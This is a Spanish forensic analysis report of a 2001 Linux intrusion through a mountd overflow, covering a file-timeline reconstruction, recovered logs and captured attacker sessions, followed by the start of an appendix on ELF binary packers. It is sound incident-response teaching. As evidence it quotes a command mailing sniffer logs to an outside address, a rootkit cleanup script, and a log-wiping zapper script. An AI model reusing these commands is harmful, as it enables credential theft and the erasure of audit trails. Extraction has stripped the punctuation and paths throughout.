10 Ejemplo de Informe de Pruebas EncontradasAhora vamos a examinar un informe completo de actividad dellos intrusos en el sistema El informe fue obtenido trasanalizar los ficheros log de los sniffers intentos de acceso timestamps en el sistema de ficheros y el contenido de lasparticiones de varios sistemas involucrados en el incidente Es un informe real soacutelo que estaacute omitida la informacioacutenque identifica el sistema atacado

A continuacioacuten es un informe de anaacutelisis de la particioacuten root del sistema 2121022557 la informacioacuten aparece talcomo fue encontrada despueacutes de poner el disco off-line una vez descubierto el compromiso por sospecha de tenerejecutaacutendose un sniffer Una copia de sistema de ficheros estaacute disponible en formato targz en el cdrom ISO 9660CD-R

La maacutequina 2121022557 fue una de las 19 sospechosas de estar comprometida por el mismo grupo de intrusosalrededor de 10-09-2001 utilizando Linux mountd buffer overflow bug documentado en el CERT Advisory CA-9812httpwwwcertorgadvisoriesCA-9812mountdhtml

El disco duro fue analizado utilizando herramientas creadas por Dan Farmer y Wietse Venema llamadas CoronerrsquosToolkit (httpwwwfishcomsecurityforensicshtml) En el sistema de anaacutelisis el disco aparece como dispositivodevhdc La primera particioacuten devhdc1 fue montada en modo solo lectura bajo el punto de montura x Comoresultado de ello todas las rutas seraacuten precedidas por esa cadena La geometriacutea del disco duro es la siguiente

Disk devhdc 32 heads 63 sectors 825 cylindersUnits = cylinders of 2016 512 bytes

Device Boot Start End Blocks Id Systemdevhdc1 1 793 799312+ 83 Linuxdevhdc2 794 825 32256 82 Linux swap

Como la mayoriacutea de los accesos al servidor empezaron el diacutea 09 del Sep la fecha previa del anaacutelisis forense fue tomadacomo 28 Ago No se observan huellas obvias de modificacioacuteninstalacioacuten de ficheros que indica que el sistema fueaccedido entre Sep 01 y Sep 04 El diacutea Sep 04 ha sido modificado el demonio r de Berkeley (inrlogind)

Sep 04 01 234221 23421 m -rwxr-xr-x root root xusrsbininrlogind

El examen del contenido del fichero a traveacutes de la utilidad strings muestra que es un caballo de Troya que contienelos mismos strings que han sido encontrados en los ficheros del grupo XXXXXXX

31

rlogindahLlnXXXXXXXXCanrsquot get peer name of remote host mCanrsquot get peer name of remote hostsetsockopt (SO_KEEPALIVE) msetsockopt (IP_TOS) mhname = NULLrlogindc

Pasados ocho diacuteas se observa una modificacioacuten en el demonio y ejecucioacuten de chown

Sep 12 01 110410 23421 c -rwxr-xr-x root root xusrsbininrlogindSep 12 01 110411 8156 a -rwxr-xr-x root bin xbinchown

Pasada media hora el fichero fuente linsniffc se copia en un directorio oculto bajo etc El directorio se llamaetc (punto-punto-espacio-espacio-espacio lo que nosotros convertiremos en etc___ para ver maacutes claramenteel directorio en los listados El programa luego se compila Vemos que los ficheros de cabeceras que tienen que vercon las funciones de red han sido accedidos y el binario se mueve al usrsbintelnetd

Despueacutes de cuatro minutos se produce un acceso a traveacutes del protocolo FTP (observando el acceso al wuftpd y sufichero id de proceso)

Sep 12 01 113659 5127 mc -rw-r--r-- root root xetc___linsniffcSep 12 01 113708 4967 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxifh

3143 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxif_arph

3145 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxif_etherh

1910 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxiph

2234 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxrouteh

1381 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxtcph

Sep 12 01 113710 2048 c drwxr-xr-x root bin xusrsbinSep 12 01 113714 2048 m drwxr-xr-x root bin xusrsbinSep 12 01 113715 8179 mc -rwxr-xr-x root root xusrsbintelnetdSep 12 01 113748 8179 a -rwxr-xr-x root root xusrsbintelnetdSep 12 01 114152 77476 a -rwxr-xr-x root bin xusrsbinwuftpd

32

Sep 12 01 114208 4096 mac -rw-r--r-- root root xvarpidftppids-remote

Esa actividad se confirma recuperando el fichero eliminado de log desde la particioacuten root

Sep 12 113305 2001 intelnetd[1290] connect from cromanionwashingtoneduSep 12 113316 2001 login 1 LOGIN FAILURE FROM cromanionwashingtonedu 502Sep 12 113321 2001 login 2 LOGIN FAILURES FROM cromanionwashingtonedu 502

Sep 12 113402 2001 su quaker on devttyp1Sep 12 114152 2001 wuftpd[1327] connect from lotherdalewashingtoneduSep 12 114157 2001 ftpd[1327] USER snoopSep 12 114159 2001 ftpd[1327] PASS passwordSep 12 114200 2001 ftpd[1327] SYSTSep 12 114201 2001 ftpd[1327] CWD tmpSep 12 114206 2001 ftpd[1327] TYPE ImageSep 12 114206 2001 ftpd[1327] PORTSep 12 114206 2001 ftpd[1327] STOR mountdSep 12 114208 2001 ftpd[1327] QUITSep 12 114208 2001 ftpd[1327] FTP session closedSep 12 120025 2001 intelnetd[1342] connect from cromanionwashingtoneduSep 12 120025 2001 telnetd[1342] ttloop peer died Try again

Desde lo que podemos observar se realiza una descarga de un exploit mountd mencionado anteriormente Tambieacutenpodemos conocer que el intruso tiene una cuenta en el sistema cromanionwashingtonedu [21512102] que normal-mente utiliza entre 143305 y 150025 EST

Los strings del fichero usrsbintelnetd muestran que es un sniffer El fichero log del sniffer es tcplog (pordefecto)

cant get SOCK_PACKET socketcant get flagscant set promiscuous mode----- [CAPLEN Exceeded]----- [Timed Out]----- [RST]----- [FIN]s =gt s [d]eth0tcplogcant open logExiting

33

El diacutea 13 de Sep otro programa que incorpora funciones de red se compila que hace uso de muchos maacutes recursosque el sniffer (ya que carga maacutes libreriacuteas) El hecho que el binario no aparece con fecha de modificacioacuten o cambiopuede indicar que el binario fue ejecutado y eliminado por el intruso (otros intrusos o el administrador) para ocultarsu presencia del equipo de administracioacuten del servidor

Sep 13 01 100146 55492 a -rwxr-xr-x root root xusrbingcc6211 a -rw-r--r-- root root xusrincludestdioh

92696 a -rwxr-xr-x root root xusrlibgcc-libi486-linux270cpp

1003 a -rwxr-xr-x root root xusrlibgcc-libi486-linux270specs

Sep 13 01 100147 2767 a -rw-r--r-- root root xusrinclude_G_configh

1441 a -rw-r--r-- root root xusrincludeallocah2040 a -rw-r--r-- root root xusrincludeconfnameh

1267 a -rw-r--r-- root root xusrincludeerrnoh4186 a -rw-r--r-- root root xusrincludefeaturesh

4434 a -rw-r--r-- root root xusrincludegnutypesh

7917 a -rw-r--r-- root root xusrincludelibioh380 a -rw-r--r-- root root xusrincludeposix_opth

4419 a -rw-r--r-- root root xusrincludesignalh15134 a -rw-r--r-- root root xusrincludestdlibh

7537 a -rw-r--r-- root root xusrincludestringh3909 a -rw-r--r-- root root xusrincludesyscdefsh

4538 a -rw-r--r-- root root xusrincludesyssocketh

321 a -rw-r--r-- root root xusrincludesystypesh

25129 a -rw-r--r-- root root xusrincludeunistdh8841 a -r--r--r-- root root xusrlibgcc-libi486-linux270includestddefh

1029 a -rw-r--r-- root root xusrsrclinuxelf-1213includeasm-i386typesh

6298 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxerrnoh

2065 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxsignalh

34

2794 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxsocketh

3846 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxsockiosh

2621 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxtypesh

Sep 13 01 100148 3668 a -rw-r--r-- root root xusrincludearpaineth

734 a -rw-r--r-- root root xusrincludebytesexh1555 a -rw-r--r-- root root xusrincludeendianh3248 a -rw-r--r-- root root xusrincludelimitsh6390 a -rw-r--r-- root root xusrincludenetdbh2663 a -rw-r--r-- root root xusrincludenetinetinh

3562 a -rw-r--r-- root root xusrincludepathsh2643 a -rw-r--r-- root root xusrincludeposix1_limh

2680 a -rw-r--r-- root root xusrincludeposix2_limh

3777 a -rw-r--r-- root root xusrincludesysbitypesh

709 a -rw-r--r-- root root xusrincludesysparamh

2315 a -rw-r--r-- root root xusrincludesystimeh

5273 a -rw-r--r-- root root xusrincludesyswaith

2852 a -rw-r--r-- root root xusrincludetimeh1156 a -rw-r--r-- root root xusrincludewaitflagsh

3724 a -rw-r--r-- root root xusrincludewaitstatush

1418196 a -rwxr-xr-x root root xusrlibgcc-libi486-linux270cc1

3049 a -rw-r--r-- root root xusrlibgcc-libi486-linux270includelimitsh

330 a -r--r--r-- root root xusrlibgcc-libi486-linux270includesyslimitsh

2101 a -rw-r--r-- root root xusrsrclinuxelf-1213includeasm-i386byteorderh

266 a -rw-r--r-- root root xusrsrclinuxelf-1213includeasm-i386paramh

3965 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxinh

720 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxlimitsh

35

78 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxparamh

1146 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxtimeh

313 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxversionh

698 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxwaith

Sep 13 01 100157 117668 a -rwxr-xr-x root bin xusrbinasSep 13 01 100158 145695 a -rwxr-xr-x root bin xusrbinldSep 13 01 100159 1088 a -rw-r--r-- root root xusrlibcrt1o

1216 a -rw-r--r-- root root xusrlibcrtbegino1212 a -rw-r--r-- root root xusrlibcrtendo

624 a -rw-r--r-- root root xusrlibcrtio396 a -rw-r--r-- root root xusrlibcrtno

204146 a -rw-r--r-- root root xusrlibgcc-libi486-linux270libgcca

El diacutea 14 se ejecuta un cliente de ftp ncftp

Sep 14 01 004250 146881 a -rwxr-xr-x root bin xusrbinncftp

Los iacutendices de acceso del sistema cromanionwashingtonedu (aka cromanion) muestran un login al siste-ma quakerwashingtonedu (aka quaker) a las 1403 del horario EST o +0300 horas maacutes de PST) lo quedescribe las conexiones de las maacutequinas lotherdalewashingtonedu XXXXXXXXXXXXXwashingtonedu yXXXXXXXXXXXXwashingtonedu

XXX ftp XXXXXXXXXXXXXXX Sat Sep 14 0346 - 0408 (0021)XXX ftp XXXXXXXwashingt Sat Sep 14 0346 - 0346 (0000)XXX ftp XXXXXXXXXXXXXX Sat Sep 14 0338 - 0340 (0002)XXX ftp XXXXXXXXXXXXXwa Sat Sep 14 0337 - 0339 (0002)XXX ftp XXXXXXXXXXXXwas Sat Sep 14 0319 - 0320 (0000)

Hay solo una ocurrencia de utilizacioacuten del comando ncftp registrada por el sniffer el diacutea 14 del Sep (liacutenea 347 entcplog) Tambieacuten podemos encontrar huellas de otra conexioacuten del XXXXXXXXXXXX

XXXXXXXXXXXXXwashingtonedu =gt XXXXXXXwashingtonedu [23]rsquoW$ 3840038400vt100bdoor

passwordw

36

su r00tcd etvccd lscat etc tcplog | mail hackeraccounthotmailcomcat etc tcplog | mail hackeraccounthotmailcomncftp -u lscp tcplog 1lsncftp -y XXXXXX[A[D[D[D[D[D[D[D[Du

----- [Timed Out]

El log de la sesioacuten anterior muestra que el fichero log del sniffer ha sido enviado a una direccioacuten de correo electroacutenicoDespueacutes de cuatro horas alguien emite un comando whoami y luego antildeade y elimina algunos ficheros dentro deldirectorio oculto

Sep 14 01 040742 3797 a -rwxr-xr-x root bin xusrbinwhoamiSep 14 01 040818 1024 mc drwxr-xr-x root root xetc___

El diacutea 14 del Sep se ejecuta el binario inidentd Este servicio sirve para asociar el nombre de usuario con un intentode conexioacuten a un servicio remoto Esta aplicacioacuten se utiliza por algunas redes de IRC Puede significar que alguienrealizoacute una conexioacuten a un servidor IRC desde la maacutequina comprometida

Tambieacuten tuvieron lugar varias conexiones al servidor POP de correo inpop3d al servicio Berkeley r inrlogindy una conexioacuten al servicio NFS rpcmountd Una vez establecida la conexioacuten se ejecutoacute el comando id (este es unvestigio de un exloit ADM mountd buffer overrun)

El exploit suele crear un shell iniciado a partir del UID del servicio NFS mountd que suele ser UID=0 El intrusoaprovechando del shell crea un directorio vartmpXXXXX y instala varias puertas traseras utilidades para limpiarlos ficheros log y un sniffer Modificacioacuten de algunos ficheros log indican que a la hora de entrada se ejecutaron lasutilidades de eliminacioacuten de huellas (zapper) que restablecieron el tamantildeo del fichero log a 0 bytes

Sep 14 01 202514 13004 a -rwxr-xr-x root bin xusrsbininidentdSep 14 01 222452 15029 a -rwxr-xr-x root bin xusrsbininpop3dSep 15 01 022224 23421 a -rwxr-xr-x root root xusrsbininrlogindSep 15 01 022307 25217 a -rwxr-xr-- root bin xusrsbinrpcmountdSep 15 01 022308 7705 a -rwxr-xr-x root bin xusrbinidSepX 15 01 022422 28550 mac -rwxr-xr-x root root xvartmpXXXXXprogramsfix

37

13508 a -rwxr-xr-x root root xvartmpXXXXXprogramsloginbak

Sep 15 01 022423 13508 mc -rwxr-xr-x root root xvartmpXXXXXprogramsloginbak

1375 mac -rwxr-xr-x root root xvartmpXXXXXprogramsreadme

Sep 15 01 022439 26314 mc -rwxr-xr-x root root xvartmpXXXXXprogramsbindshell

27942 mc -rwxr-xr-x root root xvartmpXXXXXprogramslinsniffer

Sep 15 01 022441 26314 a -rwxr-xr-x root root xvartmpXXXXXprogramsbindshell

27942 a -rwxr-xr-x root root xvartmpXXXXXprogramslinsniffer

Sep 15 01 022443 1126 mc -rwxr-xr-x root root xvartmpXXXXXprogramsclean

XX mac -rwxr-xr-x root root xvartmpXXXXXprogramsimapdis

Sep 15 01 022459 4665 a -rwxr-xr-x root bin xusrbinbasenameSep 15 01 022503 0 mac -rw-r--r-- root root xvarlogcronSep 15 01 022504 0 ma crw-rw-rw- root root xdevttyp3Sep 15 01 022506 0 a -rw-r--r-- root root xvarlogdebugSep 15 01 022508 0 a -rw-r--r-- root root xvarloglastlogSep 15 01 022512 2699 a -rw-r--r-- root root xvarlogsyslogSep 15 01 022515 131968 a -rwxr-xr-x root bin xusrbingawk

5941 a -rwxr-xr-x root bin xusrbinwc0 a -rw-r--r-- root root xvarlogxferlog

1024 mc drwxr-xr-x root root xvartmpXXXXX1126 a -rwxr-xr-x root root xvartmpXXXXXprogramsclean

Sep 15 01 022554 2802 mc -rwxr-xr-x root root xetcrcdrcinet2Sep 15 01 022613 12288 mc -rw-rw-r-- root root xetcpsdevtabSep 15 XX 022626 7416 a -rwxr-xr-x root bin xbinmkdirSep 15 01 022633 15 mc -rw-r--r-- root root xdevXXXXXXXXLSSep 15 01 022640 1024 mc drwxr-xr-x root root xdevXXXXXXXX

25 mc -rw-r--r-- root root xdevXXXXXXXXPSSep 15 01 022837 0 a crw-rw-rw- root root xdevptyp2Sep 15 01 022838 0 mc crw-rw-rw- root root xdevptyp2

0 mac crw-rw-rw- root root xdevttyp2Sep 15 01 022958 0 mc -rw-r--r-- root root xvarloglastlogSep 15 01 023006 0 mc -rw-r--r-- root root xvarlogxferlogSep 15 01 023103 66973 a -rwxr-xr-x root bin xbintelnetSep 15 01 023501 1024 mc drwxr-xr-x root root xvarlog

0 mac -rw-r--r-- root root xvarlogsulogSep 15 01 023516 0 mc -rw-r--r-- root root xvarlogdebug

38

Sep 15 01 023551 0 ma crw-rw-rw- root root xdevptyp3Sep 15 01 023552 0 c crw-rw-rw- root root xdevptyp3

0 c crw-rw-rw- root root xdevttyp3Sep 15 01 032157 1649 m -rw-r--r-- root root xetcpasswdOLDSep 15 01 032224 7317 a -rwxr-xr-x root bin xbinkillallSep 15 01 032240 58605 a -rwxr-xr-x root bin xbinps

25 a -rw-r--r-- root root xdevXXXXXXXXPS

La siguiente actividad aparece en la liacutenea 471 en tcplog (el fichero log del sniffer entre 14 Sep 0346 de la liacutenea 348y 17 Sep 2013 desde la fecha de uacuteltima modificacioacuten del fichero)

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [143]

----- [Timed Out]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [513]rootXXXXlinux38400----- [FIN]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [513]rootXXXX-linux38400----- [FIN]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [513]rootr00tlinux38400t----- [FIN]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [23]rsquoP$ 3840038400linuxXXXXX

XXX

39

r00tfingercd vartmpls -alrm -rf bashftp XXXXXXXXXXXXanonymousassget XXXXtgzquituittar zxvf XXXXtgzchmod +x INSTALLls -al

----- [Timed Out]

IIIIIIIIIIXXXXXXXXXXXX =gt GGGGGGGXXXXXXXXXXXXX [23]rsquoP$ 3840038400linuxr00t

pico etcrcdircinetd2rpcmomomomountd[A11mountd[A2pmountd[A[A[C[C[C[C[C[C[C[C[C[C[C[C[C[C[C[B[C[C [B[D[D[B[D[B[D ypico etcinetdconf[6~[6~killall -HUP inetdcat etcinetdconfps auxkill -9 cd devmkdir XXXXXXXXcd XXXXXXXXpico LSXXXXXXXXXXXXXypico PS3 bindshell3 linsnifferyps auxkill -9 2541f

40

----- [Timed Out]

Eso muestra que el intruso estaba editando el fichero de configuracioacuten del rootkit referente al modus operandi de lautilidad ls (llamado LS) para esconder ficherosdirectorios con cadenas XXXXXX yo JJJJJJJJ en sus nombresTambieacuten ha modificado el fichero de configuracioacuten del rootkit para la utilidad ps (llamado PS) para esconder procesosbindshell y linsniffer en sus nombres

La letra y que aparece en las cadenas XXXXXXy y linsniffery son huellas del usuario que nos informan que hasido utilizado el editor pico El comando para guardar las modificaciones en los ficheros y salir en pico es Ctrl-X Siel fichero ha sido modificado de alguna forma el siguiente texto aparece

Save modified buffer (ANSWERING No WILL DESTROY CHANGES)

El usuario entonces debe teclear la letra y para guardar el fichero y salir El sniffer no captura el mensaje delsistema pero siacute el y Las entradas log del sniffer aquiacute muestran que se creoacute el directorio XXXXXXXX doacutende fueroninsertados los ficheros de configuracioacuten del rootkit y editados en siguiente orden Podemos observarlo en el listado demactime posiblemente atando este evento al diacutea 15 del XXX a las 0226

Sep 15 01 022626 7416 a -rwxr-xr-x root bin xbinmkdirSep 15 01 022633 15 mc -rw-r--r-- root root xdevXXXXXXXXLSSep 15 01 022640 1024 mc drwxr-xr-x root root xdevXXXXXXXX

25 mc -rw-r--r-- root root xdevXXXXXXXXPS

El diacutea 16 del Sep alguien crea una copia de seguridad del log del sniffer (snifferlogsave) movieacutendolo al directoriovartmpXXXXprograms Este fichero muestra los intentos de entrada de otros intrusos que tambieacuten acceden alfichero tcplog

Sep 16 01 215534 36088 a -rwxr-xr-x root bin xbinnetstatSep 16 01 215827 1024 mc drwxrwxrwx root root xvartmpSep 16 01 215852 6 a -rw-r--r-- root root xroottemptxtSep 16 01 225033 1024 a drwxr-xr-x root root xvartmpXXXXXSep 16 01 225102 6644 a -rw-r--r-- root root xvartmpXXXXXprogramssnifferlog

Sep 16 01 225716 1024 a drwxr-xr-x root root xvartmpXXXXXprograms

Sep 16 01 233951 1024 mc drwxr-xr-x root root xvartmpXXXXXprograms

4992 mac -rw-r--r-- root root xvartmpXXXXXprogramssnifferlogsave

41

El fichero roottemptxt contiene la uacutenica palabra blah en la liacutenea y una liacutenea en blanco Actualmente no se conocepara que sirvioacute el fichero El diacutea 17 del XXX se modifica la contrasentildea de alguacuten usuario se crea un fichero de copiade seguridad

Sep 17 01 124450 153384 a -rws--x--x root bin xusrbinpasswdSep 17 01 124505 1649 mc -rw-r--r-- root root xetcpasswd

1649 c -rw-r--r-- root root xetcpasswdOLD

A continuacioacuten el diacutea 17 del Sep alguien accede al servidor a traveacutes de telnet Por lo visto se obtiene el UIDdel usuario lp Modificaciones en devconsole indican que ocurrioacute tambieacuten una entrada de usuario en la consolafiacutesica Fechas de modificacioacuten han sido cambiadas en la aplicacioacuten de los logs del sniffer etc__tcplog y tambieacutenvartmpXXXXXprogramssnifferlog que significa que las aplicaciones han sido desactivadas

Sep 17 01 201344 296 a -rw-r--r-- root root xetchostsdeny40907 a -rwxr-xr-x root bin xusrsbintcpd

Sep 17 01 201345 40685 a -rwxr-xr-x root bin xusrsbinintelnetd25 mc -rw-rw-r-- root root xvarspoollp1status

Sep 17 01 201346 0 m crw-rw-rw- root root xdevconsole0 a crw-rw-rw- root root xdevptyp00 m crw-rw-rw- root root xdevttyp0

18476 mc -rw-r--r-- root root xetc___tcplog6644 mc -rw-r--r-- root root xvartmpXXXXXprogramssnifferlog

Sep 17 01 201350 0 c crw-rw-rw- root root xdevconsole0 c crw-rw-rw- root root xdevptyp00 c crw-rw-rw- root root xdevttyp0

El diacutea 18 de Sep se ejecuta la aplicacioacuten sendmail Las huellas en el sistema de ficheros nos muestran queposiblemente se envioacute a una direccioacuten de correo electroacutenico el fichero log del sniffer tcplog

Sep 18 01 053026 164060 a -r-sr-Sr-x root bin xusrsbinsendmail

Aparte de analizar el sistema de ficheros con detenimiento se han recuperado todos los ficheros eliminados utilizandola utilidad unrm de TCT Una examen de los ficheros recuperados mostroacute eliminacioacuten de algunos ficheros log yscripts El siguiente es una parte del script de instalacioacutenlimpieza que estaacute incluido con el rootkit

cp vartmpimap-d vartmpXXXXXprogramsimapdisrm -rf vartmpimap-decho 6 cleaning logs

42

cd vartmpXXXXXcp vartmpclean vartmpXXXXXprogramscleanrm -rf vartmpcleanvartmpXXXXXprogramsclean XXXXXXX 1gtdevnull 2gtdevnullvartmpXXXXXprogramsclean XXXXXX 1gtdevnull 2devnullvartmpXXXXXprogramsclean XXXX 1gtdevnull 2gtdevnullecho rootkit completeecho rember to disable imapdecho EOF

El siguiente es una parte del fichero log que muestra intentos de conexioacuten de intrusos

Sep 11 152611 XXXX infingerd[864] connect from XXX-XXX-14XXXXXXXXXXXXSep 11 152611 XXXX intelnetd[865] connect from XXX-XXX-14XXXXXXXXXXXXSep 11 152611 XXXX telnetd[865] ttloop peer died Try againSep 11 152612 XXXX inpop3d[866] connect from XXX-XXX-14XXXXXXXXXXXXSep 11 152613 XXXX intelnetd[867] connect from XXX-XXX-14XXXXXXXXXXXX

Sep 12 053620 XXXX intelnetd[1126] connect from DDDDDDXXXXXXXXX

Sep 12 110152 XXXX intelnetd[1213] connect from EEEEEEEXXXXXXSep 12 110221 XXXX su XXXXX on devttyp1

Sep 12 110428 XXXX inrlogind[1229] connect from CCCCCCCCXXXXXXXXXXXSep 12 110444 XXXX inrlogind[1230] connect from CCCCCCCCXXXXXXXXXXX

Sep 12 110857 XXXX su XXXXX on devttyp1Sep 12 111119 XXXX su XXXXX on devttyp1

Sep 12 113305 XXXX intelnetd[1290] connect from AAAAAAXXXXXXXXXSep 12 113316 XXXX login 1 LOGIN FAILURE FROM AAAAAAXXXXXXXXX XXXSep 12 113321 XXXX login 2 LOGIN FAILURES FROM AAAAAAXXXXXXXXX XXX

Sep 12 113402 XXXX su XXXXX on devttyp1Sep 12 114152 XXXX wuftpd[1327] connect from BBBBBBBXXXXXXXXXSep 12 114157 XXXX ftpd[1327] USER XXXXXSep 12 114159 XXXX ftpd[1327] PASS passwordSep 12 114200 XXXX ftpd[1327] SYSTSep 12 114201 XXXX ftpd[1327] CWD tmpSep 12 114206 XXXX ftpd[1327] TYPE ImageSep 12 114206 XXXX ftpd[1327] PORTSep 12 114206 XXXX ftpd[1327] STOR mountdSep 12 114208 XXXX ftpd[1327] QUITSep 12 114208 XXXX ftpd[1327] FTP session closedSep 12 120025 XXXX intelnetd[1342] connect from AAAAAAXXXXXXXXX

43

Sep 12 120025 XXXX telnetd[1342] ttloop peer died Try again

Sep 12 125437 XXXX inrlogind[1358] connect from CCCCCCCCXXXXXXXXXXX

Sep 12 195330 XXXX intelnetd[1459] connect from XXXX-XX-118XXXXXXXXXXXX

Sep 12 234732 XXXX intelnetd[1525] connect from XXXXXXXXXXXXXXXXXXXXXXXSep 12 234741 XXXX login 1 LOGIN FAILURE FROM XXXXXXXXXXXXXXXXXXXXXXX XXXXXSep 12 234855 XXXX su XXXXX on devconsoleSep 13 001238 XXXX intelnetd[1569] connect from HHHHHHXXXXXXXXXXXXXXXXXXSep 13 001254 XXXX su XXXXX on devconsole

Sep 13 064612 XXXX intelnetd[1673] connect from XXXXXXXXXXSep 13 070801 XXXX intelnetd[1679] connect from GGGGGGGXXXXXXXXXXXXXXXXXSep 13 070814 XXXX su XXXXX on devconsole

Sep 13 083005 XXXX intelnetd[1728] connect from FFFFFFFXXXXXXXXXXXXXXXXXSep 13 083022 XXXX intelnetd[1731] connect from HHHHHHXXXXXXXXXXXXXXXXXXSep 13 083234 XXXX intelnetd[1733] connect from FFFFFFFXXXXXXXXXXXXXXXXX

Sep 13 095842 XXXX su XXXXX on devconsole

El siguiente ejemplo es un extracto de script zapper que elimina las huellas dejadas por el intruso o restablece eltamantildeo de los ficheros log a 0 bytes No se sabe si existe una copia de este script en el sistema de ficheros activo

1 binbash

WHAT=$(binls -F varlog | grep -v | grep -v | grep -v tgz | grep -v gz | grep -v tar | grep -v )

for file in $WHATline=$(wc -l varlog$file | awk -F rsquo rsquo rsquoprint $1rsquo)echo -n Cleaning $file ($line lines)grep -v $1 varlog$file gt newmv -f new varlog$filenewline=$(wc -l varlog$file | awk -F rsquo rsquo rsquoprint $1rsquo)let linedel=$(($line-$newline))echo $linedel lines removed

doneecho

44

Los siguientes cadenas de texto pertenecen al fichero wtmp (leiacutedo por la utilidad last) Las horas no son obvias aquiacutepero los nombres de hosts siacute lo son

ftp4264ttyp13XXXXXXXXXXXXXXXXXttyp1Pftp46263XXXXXXXXXXXXXXXXXttyp13XXXXXXXXXXXXXXXXXftp4626ttyp1Pftp46393XXXXXXXXXXXXXXXXXXPftp4639Pftp46533XXXXXXXXXXXXXXXXXXftp4653Pftp47433XXXXXXXXXXXXXXXXXXXXX

11 Apeacutendice A - Meacutetodos de Proteccioacuten de Binarios

111 Introduccioacuten

Los sistemas operativos UnixLinux BSD se consideran por los especialistas como avanzados seguros y establesdebido a su disentildeo de arquitectura y gestioacuten de procesos

Las distribuciones actuales tienen soporte para varios tipos de ejecutables como AOUT (formato original de Unix)COFF (Unix System V) ECOFF (MipsAlfpha) XCOFF (IBM RS6000 AIX) y finalmente ELF (el sucesor de COFFque ofrece muacuteltiples secciones y valores posibles de 32 o 64 bits) Mientras que los sistemas operativos win32 tienenMZ (dos) NE (Windows 3xx) y PE (Win9xNT)

La popularidad y el enfoque comercial de sistemas win32 obligoacute a las empresas desarrolladoras de software invertirfondos y horas en proteccioacuten de sus aplicaciones para evitar obligar a los usuarios comprar el software Desde el

45

principio los especialistas en ingenieriacutea inversa conseguiacutean por placer o por negocio evitar los meacutetodos de proteccioacutende los ejecutables que bajo win32 ya entonces teniacutean muacuteltiples teacutecnicas de proteccioacuten En actualidad un ficheroejecutable bajo Windows (PE) puede estar perfectamente cifrado empaquetado ofuscado y wrappeado al visa versa ala hora de ejecucioacuten lo que muestra la evolucioacuten de un binario simple haciacutea un ejecutable propiamente protegido loque proporciona la seguridad a la empresa desarrolladora que su software no podraacute ser utilizado de forma ilegal porlo menos por el puacuteblico general

Y lo uacutenico (que generalmente se conoce) que podemos hacer actualmente con un binario ELF es quitarle la tabla desiacutembolos o en otras palabras strippearlo que que no ofrece ninguacuten tipo de proteccioacuten

Existen pocas herramientas de proteccioacuten son experimentales y se conocenutilizan solo por los hackers de nivel altomedio-alto A la hora de realizar un anaacutelisis forense nos encontraremos con binarios que el intruso ha ido dejandoen el sistema y necesitariacuteamos saber las funciones de cada uno de ellos teniendo en cuenta que ejecucioacuten de binariosdesconocidos puede provocar un desastre si no estamos seguros de la funcioacuten de los mismos

112 Meacutetodos de Proteccioacuten

En las investigaciones rutinarias de casos de defacements de paacuteginas web o de utilizacioacuten de la maacutequina compro-metida como cluster DDoS no es frecuente encontrar binarios protegidos ya que la mayoriacutea de herramientas estaacutencirculando por la red de forma abierta Mientras que en los compromisos de sistemas importantes como de Ban-cos Liacuteneas Aeacutereas o Universidades el nivel de intruso es tecnoloacutegicamente y intelectualmente superior por lo tantotambieacuten lo son sus herramientas Hasta que no sepamos el propoacutesito de cada uno de las herramientas del intruso nopodremos concluir la investigacioacuten con eacutexito

Podemos encontrar siguientes meacutetodos de proteccioacuten de binarios en este caso seguacuten el nivel del atacante y tipo deherramienta utilizada Puede que se utilicen de forma individual o de forma combinada para complicar el trabajo delinvestigador

bull UPX [3] - Ultimate Packer for eXecutables los intrusos con un nivel de conocimientos bajo o medio utilizancompresor de ejecutables UPX como una herramienta de proteccioacuten de sus aplicaciones Este software tienesoporte para reducir el tamantildeo de binarios de tipo dosexe doscom dossys djgpp2coff watcomle elf y etc atraveacutes de las funciones de la libreriacutea UCL escrita en ANSI C por lo tanto ofuscando su contenido a nivel superficial

Si observamos el output del comando strings vemos que es faacutecilmente detectable por la cadena de texto $Id UPX122 Copyright (C) 1996-2002 the UPX Team All Rights Reserved $ en caso de que UPX no ha sido modificadoEn otros casos cuando el intruso puso su empentildeo en modificar la fuentes de UPX para confundir (aun mas) aladministrador el binario sigue perfectamente reconocible observando las cadenas tmpupxAAAAAAAAAAAprof etc en el fichero Para desempaquetar el binario debemos instalarnos UPX y ejecutar el siguientecomando

46

[ervinactivalinkcom ervin]$ upx -d ltfichero empaquetadogt

bull BurnEye [4] - Este tipo de proteccioacuten se utiliza por los intrusos con nivel de conocimientos medio medio-altoque conocen la estructura de binarios ELF BurnEye ofrece 3 niveles de proteccioacuten de binarios ELF por capasofuscacioacuten de coacutedigo cifrado de aplicacioacuten a traveacutes de contrasentildea y teacutecnica de OS fingerprinting

Nivel 1 El primer nivel de proteccioacuten realiza un cifrado del binario y utiliza la teacutecnica de inyeccioacuten de coacutedigodentro del binario ELF El coacutedigo es un motor de descifrado que a la hora de ejecutar el programa v

